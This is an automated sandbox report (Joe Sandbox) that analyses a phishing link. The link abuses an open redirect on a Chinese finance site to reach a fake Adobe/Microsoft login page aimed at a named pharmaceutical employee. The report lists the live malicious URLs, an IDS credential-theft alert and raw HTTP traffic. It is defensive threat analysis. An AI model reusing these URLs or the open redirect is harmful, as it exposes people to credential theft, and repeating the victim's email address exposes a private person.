Edit tour

Windows Analysis Report
https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u

Overview

General Information

Sample URL:	https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u
Analysis ID:	1676007
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

AI detected suspicious Javascript

Detected use of open redirect vulnerability

Detected suspicious crossdomain redirect

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2092 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3956 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7336 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-28T09:04:59.184598+0200	2857090	1	Successful Credential Theft Detected	212.81.47.195	443	192.168.2.5	49748	TCP

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 1.5..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: blob:https://adp.phpmyrealty.com/a928413e-ec62-445... This script demonstrates high-risk behavior by using the `eval()` function to execute dynamic code received from an untrusted source. The lack of origin verification and the use of `eval()` pose a significant security risk, as it allows the execution of arbitrary code that could be malicious.

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Proxy from: www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17fe5fandy9sfe5yfri2pfe5dx0qdai2pi2ps3rhi2p-sankywo3dy9fe5u to http://adp.phpmyrealty.com/sk17fe5fandy9sfe5yfri2pfe5dx0qdai2pi2ps3rhi2p-sankywo3dy9fe5u

Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	HTTP Parser: No favicon
Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	HTTP Parser: No favicon
Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	HTTP Parser: No favicon
Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	HTTP Parser: No favicon
Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	HTTP Parser: No favicon
Source: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdY	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 192.178.49.196:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 182.92.145.92:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 182.92.145.92:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.23:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.21:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.81.47.195:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.190.194:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.241.136:443 -> 192.168.2.5:49758 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 47MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 212.81.47.195:443 -> 192.168.2.5:49748

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.01caijing.com to http://adp.phpmyrealty.com/sk17fe5fandy9sfe5yfri2pfe5dx0qdai2pi2ps3rhi2p-sankywo3dy9fe5u
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: adp.phpmyrealty.com to https://adobe.ecflabs.com/adobe/?organisation=daiichi-sankyo.eu&des=c3rlzmfulnnlewzyawvkqgrhawljagktc2fua3lvlmv1#/common/authorize?document=0.57833906755705-0ff1-0.4512296069652&auth=10.83146108492811-0.50976997823909
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: adobe.ecflabs.com to https://login.microsoftonline.com/jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu#/

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	TCP traffic detected without corresponding DNS query: 192.178.49.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1Host: www.01caijing.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=9374b4166e99d2c0 HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_rt_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/44e6f86df4dc/api.js?onload=boSsq5&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveOrigin: https://adp.phpmyrealty.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5uAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1Host: adobe.ecflabs.comConnection: keep-alivesec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9374b425be546a49&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: adp.phpmyrealty.comConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5uAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1Host: adobe.ecflabs.comConnection: keep-alivesec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/feedback-reports/lzyee/en-us/light/overrunning HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/9374b425be546a49/1745823864924/590289e2f20c9fba1a2eacd5fa0141e24ab406bc8e7da1f85ef6177d28b7384d/4nF2Btxf0aKuFio HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9374b425be546a49/1745823864928/qbrm-VjPK8YIgz0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9374b425be546a49/1745823864928/qbrm-VjPK8YIgz0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
